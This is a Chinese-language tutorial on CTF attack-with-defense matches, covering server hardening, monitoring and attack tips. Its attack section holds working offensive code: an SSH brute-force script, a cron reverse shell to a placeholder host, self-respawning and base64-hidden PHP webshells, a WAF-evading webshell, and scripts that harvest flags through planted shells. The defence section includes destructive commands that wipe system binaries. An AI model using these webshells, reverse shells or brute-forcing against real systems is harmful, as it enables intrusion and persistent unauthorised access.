CTF-AWD攻防方法总结

防守&加固

靶机加固的前提:需要知道靶机的密码和权限

root权限可以做所有操作

web权限:只能加固web服务,mysql服务等

不知道靶机密码的情况

hydra爆破(kali自带)

1
2
3
SSH 破解
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh

python脚本爆破(需要安装paramiko库)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import sys, time, argparse
import paramiko


class ssh_brute(object):
def __init__(self, host, port):
self.host = host
self.port = port

def connect(self, host, port, username, password):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname=host, port=port, username=username, password=str(password), timeout=0.01)
ssh.close()
except:
print("The password:{password} error!".format(password=password))
ssh.close()
return
print("find it!\nusername:\033[1;32;40m{username} \npassword:{password}\033[0m".format(username=username, password=password))
exit()

def getpassword(self):
dict = "C:/Users/root/Desktop/dic.txt" #×ֵ䷾¶
with open(dict) as f:
password = f.readlines()
return password

def main(self):
host = self.host
port = self.port
username = "root"
password = self.getpassword()
print("[+]host:{host}".format(host=host))
print("[+]username:{username}".format(username=username))
for paw in password:
paw = paw.strip("\n")
self.connect(host, port, username, paw)


def parse():
parse = argparse.ArgumentParser("a ssh brute force crack")
parse.add_argument("-host", dest="host", default="10.20.60.13", help="This is to set ip")
parse.add_argument("-port", dest="port", default="22", help="This is to set port default:22")
args = parse.parse_args()
return args.host, args.port


def main():
#host, port = parse() //ÃüÁîÐнâÎö
host = '172.20.101.101'
port = '22'
ssh_brute(host, port).main()


if __name__ == '__main__':
main()

kali自带字典目录

1
/usr/share/wordlists

可能会用到的操作

ssh提供rsa公私钥连接方式
1
ssh -i 私钥位置 user@hostname
查看有那些用户
1
cat /etc/passwd | grep /bin/bash
可查看端口对应服务
1
cat /etc/service
查看开了哪些端口 是否存在后门
1
netstat -anp
1
netstat -anp|grep "LISTEN"

查看nc对应的进程和端口(其他程序同理,如:bash、python、php等反弹shell)

1
netstat -nlpta|grep -w nc

查看nc进程树

1
ps aux|grep -w nc

根据pid查找程序绝对路径

1
ls -l /proc/2765/ | grep -w exe

也可以用 lsof -p pid 命令

1
lsof -p pid

按照关掉端口的方式杀掉即可

关闭端口的方式

1 . 强制关闭

1
kill -9 端口号
监控日志命令
1
tail -f *.log
scp实现ssh服务上传下载文件

上传

1
scp [-P 端口] 本地文件路径 user@host:远程文件路径

下载

1
scp [-P 端口] user@host:远程文件路径 本地文件路径
备份网站目录

打包网站 备份到/tmp目录下

备份到其他目录可能会因为没有权限而报错

1
tar -czvf /tmp/html.tar.gz /var/www/html
根据备份的源码恢复网站
1
2
3
cd /tmp
tar -xzvf html.tar.gz
mv /tmp/var/www/html/* /var/www/html/
查找后门
1
find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('
查找flag的位置
1
2
3
4
5
使用
`find / -name *flag*`

`grep -rn "flag" *`
类似的语句可以快速发现 flag 所在的地方,方便后续拿分
修改flag文件权限和设置不可更改

修改权限

1
chmod 400 /root/flag

设置不可更改属性

1
chattr +i /root/flag
克制不死马
  1. 强行kill掉进程后重启服务(不建议)

    1
    ps -aux|grep ‘www-data’|awk ‘{print $2}’|xargs kill -9
  1. 写脚本不断删除
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.3.php'; // 这里修改成不死马文件名
$code = 'hi springbird !';
//pass=pass
while (1){
file_put_contents($file,$code);
// usleep(5000);
usleep(1000);
}
?>
干掉反弹shell

ps -ef / px -aux

出现www-data权限的/bin/sh一般为nc

如果有一些进程杀不掉可以尝试www-data权限去杀

kill.php

1
2
3
<?php
system("kill `ps -aux | grep www-data | grep apache2 | awk '{print $2}'`");
?>

从浏览器访问,就是www-data权限

建议连着kill两次

加固

方向:更改口令加固服务、清除后门、备份重要文件、移动系统命令、清楚执行命令的历史记录

上靶机,改ssh密码,看端口,根据对应端口做加固操作,无关紧要的端口统统关闭。定时任务一定要看。

更改ssh登录密码
1
passwd
更改vnc登录密码(没有的情况下不用)
1
vncpasswd root
加固web服务器方法

php网站加固

第一种:上waf

一般通防 WAF 会影响主办方 check,使用需谨慎,同时注意上 WAF 崩溃的问题

waf脚本网上搜集

waf的使用方式

方式一:可以使用 bash 命令在每一个 php 文件前面加上 require_once 包含 WAF 文件

传入的waf文件记得赋予可读可写入权限,不然不能生成文件

1
2
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/waf.php";?>'
1
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('./log.php');n/g"

方式二:修改 php.ini 的 auto_prepend_file 属性,但一般不会有重启 php 服务权限

1
2
3
; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file = /tmp/waf.php

第二种:删除web服务器中存在漏洞页面

单个字符查找()

1
2
3
grep -rn "相关函数名" --include *.php    /var/www/html

--include *.php 指定php路径

多字符查找

1
grep -E -rn "字符串1|字符串2|字符串3|"  文件名

一条命令批量加固php代码

1
sed -i "s/原字符串/新字符串/g" `grep 原字符串 --include=*.php -rl 所在目录`

注释所有关键函数

注释include需注意,可能会导致网站加载不出来

1
2
sed -i "s/eval/evaleval/g" `grep eval -rl --include=*.php /var/www/html`
sed -i "s/system/systemsystem/g" `grep system -rl --include=*.php /var/www/html`

注释掉入口

1
2
3
4
5
6
7
8
9
10
11
12
sed -i "s/_GET/GET/g" `grep _GET -rl --include=*.php /var/www/html`
sed -i "s/_POST/POST/g" `grep _POST -rl --include=*.php /var/www/html`
sed -i "s/_REQUEST/REQUEST/g" `grep _REQUEST -rl --include=*.php /var/www/html`
sed -i "s/_FILES/FILES/g" `grep _FILES -rl --include=*.php /var/www/html`
sed -i "s/_SERVER/SERVER/g" `grep _SERVER -rl --include=*.php /var/www/html`

还原
sed -i "s/GET/_GET/g" `grep GET -rl --include=*.php /var/www/html`
sed -i "s/POST/_POST/g" `grep POST -rl --include=*.php /var/www/html`
sed -i "s/REQUEST/_REQUEST/g" `grep REQUEST -rl --include=*.php /var/www/html`
sed -i "s/FILES/_FILES/g" `grep FILES -rl --include=*.php /var/www/html`
sed -i "s/SERVER/_SERVER/g" `grep SERVER -rl --include=*.php /var/www/html`

命令执行漏洞函数

1
2
3
4
5
6
7
8
system()
popen()
passthru()
(需要加echo 才能显示结果)
exec()
shell_exec()
ecntl_exec()
proc_open()

代码执行函数

1
2
3
4
5
6
7
8
9
10
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter()
usort()
uasort()

文件包含函数

1
2
3
4
include()
include_once()
require()
require_once()

文件读取

1
2
3
4
5
6
7
8
9
file_get_contents()
fopen()
fread()
fgets()
fgetss()
readfile()
parse_ini_file()
show_source()
highlight_file()

文件上传函数

1
move_uploaded_file

文件删除

1
2
unlink()
session_destroy()

变量覆盖

1
2
3
4
extract()
parse_str()
import_request_variables()
foreach()

sql注入

1
mysqli

其他危险函数

1
2
3
copy 
unserialize()
`

第三种:删站&赋予不可访问权限

简单粗暴,直接让对手访问不了,但是可能会被裁判服务器check,导致扣分。

删除网站

1
rm -rf /var/www/html/*

赋予网站目录 000 权限

1
chmod 000 /var/www/html

重启网页服务器

1
service apache2 restart

JSP网站加固

1
2
request 
upload
1
2
sed -i "s/request/requestrequest/g" `grep request -rl --include=*.php /var/www/html`
sed -i "s/upload/uploadupload/g" `grep upload -rl --include=*.php /var/www/html`

Asp加固

1
2
Request
HttpContext
1
2
sed -i "s/Request/RequestRequest/g" `grep Request -rl --include=*.php /var/www/html`
sed -i "s/HttpContext/HttpContextHttpContext/g" `grep HttpContext -rl --include=*.php /var/www/html`
加固数据库

更改数据库密码
第一种方法

1
2
3
4
5
6
7
mysql -u root -p [默认密码]
use mysql;
更改密码
update user set password = password("yangfan") where User = 'root';
刷新权限
flush privileges;
exit

第二种方法

1
2
update user set password = password("yangfan") where user = 'root';
flush privileges;

mysql 5.7 修改密码

1
update mysql.user set authentication_string=password('123qwe') where user='root' and Host = 'localhost';

mysql数据库开启远程连接

1
2
3
use mysql;
update user set host='%' where host='localhost';
flush privileges;

mysql数据关闭远程连接

1
2
3
use mysql;
update use set host='localhost' where host='%';
flush privileges;
加固ftp服务

修改登录密码

1
passwd ftpuser
关闭不需要的服务和守护进程
1
2
3
/etc/init.d/vsftpd stop 
/etc/init.d/smb stop
/etc/init.d/sendmail stop

查看守护进程(如果有的话)

1
2
3
cd /etc/xinetd.d/ 
ls
rm -rf xx
开启内存地址随机化(防止pwn程序的利用)
1
echo 2 > /proc/sys/kernel/randomize_va_space	// 0是关闭,1是半随机,2是全随机
自启动相关

禁用启动项

开机自启动

chkconfig 命令
开启

1
chkconfig 服务名   on

关闭

1
chkconfig 服务名 off
防火墙

iptables 命令

定时任务
1
2
3
4
crontable
-e 编辑crontab 的工作内容
-l 查阅crontab 的工作内容
-r 删除所有的crontab工作内容

cat 一次性输入全部内容(在纯linux 下 不能查看前面的内容)
more 仅能向前移动,却不能向后移动
less 用来查看一页不能完全显示的文件
空格 向下翻页
n 向上翻页

移动系统命令(最后的大招)

将 /bin,/sbin,/usr/bin 下的全部程序移走,即使攻击者突破了前面的防守但是拿到shell后发现并不能执行系统命令,从而拿不到咱们的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mkdir /etc/tmp 
cd /etc/tmp
mkdir b
mkdir sb
mkdir ub
cp /bin/* /etc/tmp/b
cp /sbin/* /etc/tmp/sb
cp /usr/bin/* /etc/tmp/ub
cd /etc/tmp/b
./rm -rf /bin/*
./rm -rf /sbin/*
./rm -rf /usr/bin/*
cd /etc/tmp/b
history -c
# 禁用cd 命令
enable -n cd
enable -n echo
enable -n history

把系统命令移走后,清空历史命令记录然后将cd等内建命令禁用

攻击

权限维持/后门技术

定时任务反弹shell

在/etc/networkt下写入反弹shell

1
2
3
vim /etc/networkt
写入
bash -i >& /dev/tcp/LHOST/PROT 0>&1

赋予执行权限

1
chmod +x /etc/networkt

写入/etc/crontab 或者 crontab -e

1
*/1 * * * * root /etc/networkt
不死马
1
2
3
4
5
6
7
8
9
10
11
12
 <?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = './.index.php';
$code = '<?php if(md5($_POST["pass"])=="361a8e7255c308e4362fff2ca3e726ff"){@eval($_POST[a]);} ?>';

while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
1
//马儿用法:POST::?pass=fany&a=command
1
2
3
<?php
file_put_contents('.1ndex.php',base64_decode('PD9waHAgIAogICAgc2V0X3RpbWVfbGltaXQoMCk7ICAKICAgIGlnbm9yZV91c2VyX2Fib3J0KDEpOyAgCiAgICB1bmxpbmsoX19GSUxFX18pOyAgCiAgICB3aGlsZSgxKXsgIAogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCcubG5kZXgucGhwJywnPD9waHAgaWYobWQ1KCRfR0VUWyJwYXNzIl0pPT0iNTAxNjBjMmVjNGY0MGQ3M2Y5MDYxZjg5NjcxMjExNTciKXtAZXZhbCgkX1BPU1RbImNtZCJdKTt9ID8+Jyk7ICAKICAgICAgICBzbGVlcCgwKTsgIAogICAgfQo/Pg=='));
?>
1
2
3
get:pass=ocean888@.cn

post:cmd=system(“ls”);
linux命令不死马
1
while true;do echo '<?php eval($_POST["x"]);?>' > x.php;sleep 1;done
过盾一句话
1
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);print_r(`$a`)?>

可以改造成header返回的马,可以把这个一句话木马放到index.php中,直接访问index.php,从header中拿到flag,既不容易被发现马,又不容易被其他队利用

1
2
3
<?php $a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);?>

$a=1;$b="a=".$_GET['a'];parse_str($b);$k=(`$a`);header('cookie:'.$k);

批量GETflag方法

模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import request
import re

def getFlag(url):
resp = request.get(url)
flag = re.search(flag匹配规则, resp.text)
return flag

def main():
# ip池
ipList = [100,101,102]
# payload
payload = ''
# flag存储
flagList = []
# 遍历
try:
for i in ipList:
url = "192.168.1."+str(i)+payload
flag = getFlag(url)
print(url, flag)
flagList.append(flag)
except:
pass


print(flagList)
if __name__ == '__main__':
main()

核心的两句话

1
2
res = request.get(url+payload)
flag = re.findall(r"flag{.+}", res.text)
批量获取提交flag脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import re
import time

# 请求
def request(url):
print(url)
resp = requests.get(url)
return resp.text
# 获取flag
def getFlag(html):
flag = re.search("flag{[.*}",html).group()
return flag
# 提交flag
def submib_Flag(ip,flag):
url = "http://172.15.91.101/lms/portal/sp/hz_flag.php" # flag提交地址
data = {"melee_ip":"","melee_flag":""}
data['melee_ip'] = ip # 靶机ip
data['melee_flag'] = flag # 该靶机上flag
print(flag)
header = {"cookie":"SSCSum=1; lms_login_name=cqipc1; zlms-sid=ruf8d3qk28iqtooa52fbsmke01; webcs_test_cookie=lms_cookie_checker"}
resp = requests.post(url,data=data,headers=header)
#print(len(resp.text))
# 返回页面提示
if "您已提交过当前IP和FLAG,请确认!" in resp.text:
print("\033[1;33m已提交过\033[0m")
elif "您提交得FLAG错误,请继续努力" in resp.text:
print("\033[1;31m提交错误\033[0m")
elif "恭喜您答对了" in resp.text:
print("\033[1;32m提交成功\033[0m")
elif len(resp.text) == 1744:
print("\033[1;31;30m未登录\033[0m")
exit()
# 暂停10s
time.sleep(10)


def main():
for ip in range(101,109):
try:
ip = "172.20."+str(ip)+".101"
print("This:"+ip)
# 第一个flag
url_payload1 = "http://"+ip+"/W3bShell/webshell.php?a=cat /flag.txt"
submib_Flag(ip,getFlag(request(url_payload1)))

# 第二个flag
url_payload2 = "http://"+ip+"/W3bShell/webshell.php?a=cat /var/www/admin/flag2.txt"
submib_Flag(ip,getFlag(request(url_payload2)))
except:
pass

if __name__ == '__main__':
main()
web漏洞获取flag

写批量提交的条件

知道赛场所有靶机ip地址
知道获取flag的payload

payload种类:
命令执行

1
cat /flag.txt

代码执行(用下面方式 弥补 命令执行带参数命令 不能回显的缺陷)

1
@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCdjYXQgL2ZsYWcudHh0Jyk7

文件包含

1
?file=../../../flag.txt
ssh获取flag

shell写批量登录ssh脚本拿flag的条件

知道所有靶机ip地址
知道ssh密码
知道flag位置

监控

注意权限问题:那些尽量选用低权限能用的

tail命令监控日志

1
tail -f [日志文件]
1
2
3
4
5
6
7
8
9
10
11
ctf@4ef271a9a03b:/tmp$ tail -f log.txt 
访问链接:/index.php?
请求方法:GET
Cookie:
Array
(
)

POST:

--------------end-----------------

日志/流量监控

流量监控也是可以使用aoiawd进行,aoiawd还是在后边,或者用别的脚本记录流量,有的比赛也会定时提供上阶段流量

被上马一定要先备份到本地,再删除、去分析反打别人

网上搜集脚本

php

log.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
date_default_timezone_set('Asia/Shanghai');
$ip = $_SERVER["REMOTE_ADDR"];//记录访问者的ip
$filename = $_SERVER['PHP_SELF'];//访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"];//访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD'];//请求方法
$time = date('Y-m-d H:i:s',time());//访问时间
$post = file_get_contents("php://input",'r');//接收POST数据

$logadd = "访问者IP:".$ip."\r\n".'访问时间:'.$time."\r\n".'访问链接:'.$filename.'?'.$parameter."\r\n"."请求方法:".$method."\r\n";

$others = "POST: ".$post."\r\n";

// log记录
$fh = fopen("/tmp/log.txt", "a");
fwrite($fh, "-------------start----------------\r\n");
fwrite($fh, $logadd);
fwrite($fh,"Cookie: \r\n".print_r($_COOKIE, true)."\r\n");
fwrite($fh,$others."\r\n");
fwrite($fh, "--------------end-----------------\r\n");
fclose($fh);
?>
1
2
# 批量加waf /var/www/html/ 目录下每个 php 文件前加上 <?php require_once "/tmp/waf.php";?>
find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o -type f -name '*.php'|xargs sed -i '1i<?php require_once "/tmp/log.php";?>'

问题:不能监控linux隐藏文件的访问, 比如 .index.php 访问这个文件就检测不到。

文件监控

注意:被上马一定要先备份到本地,再删除、去分析反打别人

网上收集脚本

https://www.shuzhiduo.com/A/GBJrKlDG50/

使用方法

  1. 上传到靶机/tmp目录下

  2. 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    ctf@4ef271a9a03b:/tmp/FileMonitor-master$ python main.py  
    _____________
    < FileMonitor >
    -------------
    /\_)o<
    | |
    | O . O |
    \_____/
    By CoolCat

    [08:36:56]:Please enter a directory:/var/www/html/
    [08:37:01]:FileMonitor is running...
    [08:37:07]:修改了/var/www/html/.a.php Hash为:41f12630a50703b6026654e2de8cada1
    [08:37:07]:删除了/var/www/html/.a.php
    [08:37:15]:新建了/var/www/html/.a.php

监控目录

1
/var/www/html/

问题:垃圾日志太多

weblogger(不熟悉暂且不用)

一个针对php的web流量抓取、分析的应用。

使用方法

1
2
3
4
5
6
7
8
9
cd /var/www/html/ (or other web dir)

git clone https://github.com/wupco/weblogger.git

chmod -R 777 weblogger/

open http://xxxxx/weblogger/install.php in Web browser

install it

进程/端口监控(不熟悉暂且不用)

网上收集脚本

部署waf

waf部署需要谨慎,分为两种情况:无check机制、部分检查不允许上通防waf,有些比赛上通防可能会扣掉很多分实在

  • 每个文件前边加 require_once(waf.php);
  • 改 .user.ini配置文件 auto_prepend_file=; 包含在文件头auto_append_file=; 包含在文件尾

注:如果挂了waf出现持续扣分,waf去掉

有root权限

1.

1
2
3
4
5
6
7
8
9
10
#每个文件前边加 require_once(waf.php);
find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?phpnrequire_once('./log.php');n/g"

find /var/www/html -type f -path "*.php" | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waf.php\");/g"

上waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/g"

下waf:
$ find . -path ./waffffff -prune -o -type f -name "*.php" -print | xargs sed -i "s/<?php include_once(\"\/var\/www\/html\/waffffff\/waf.php\");/<?php/g"

2.

1
2
3
4
5
vim php.ini

auto_append_file = "/dir/path/phpwaf.php"

重启Apache或者php-fpm就能生效了。

3.

1
2
3
4
改 .user.ini配置文件 auto_prepend_file=<filename>;  包含在文件头

auto_append_file=<filename>; 包含在文件尾
php_value auto_prepend_file "/dir/path/phpwaf.php"

注:如果挂了waf出现持续扣分,waf去掉

只有user权限

没写系统权限就只能在代码上面下手了,也就是文件包含。

这钟情况又可以用不同的方式包含。

1.

如果是框架型应用,那麽就可以添加在入口文件,例如index.php,

如果不是框架应用,可以在公共配置文件config.php等相关文件中包含。

1
include('phpwaf.php');

2.

替换index.php,也就是将index.php改名为index2.php,然后讲phpwaf.php改成index.php。

当然还没完,还要在原phpwaf.php中包含原来的index.php

1
2
3
index.php -> index2.php
phpwaf.php ->index.php
include('index2.php');
  • 修改权限mysqll用户读表权限上传目录是否可执行的权限

  • 部署文件监控脚本php.ini

    1
    auto_prepend_file = waf.php的路径;
    1
    2
    3
    4
    5
    6
    7
    8
    9
    require_once('waf.php');

    常用cms添加waf位置
    PHPCMS V9 \phpcms\base.php
    PHPWIND8.7 \data\sql_config.php
    DEDECMS5.7 \data\common.inc.php
    DiscuzX2 \config\config_global.php
    Wordpress \wp-config.php
    Metinfo \include\head.php

其他

通用waf

https://github.com/DasSecurity-HatLab/AoiAWD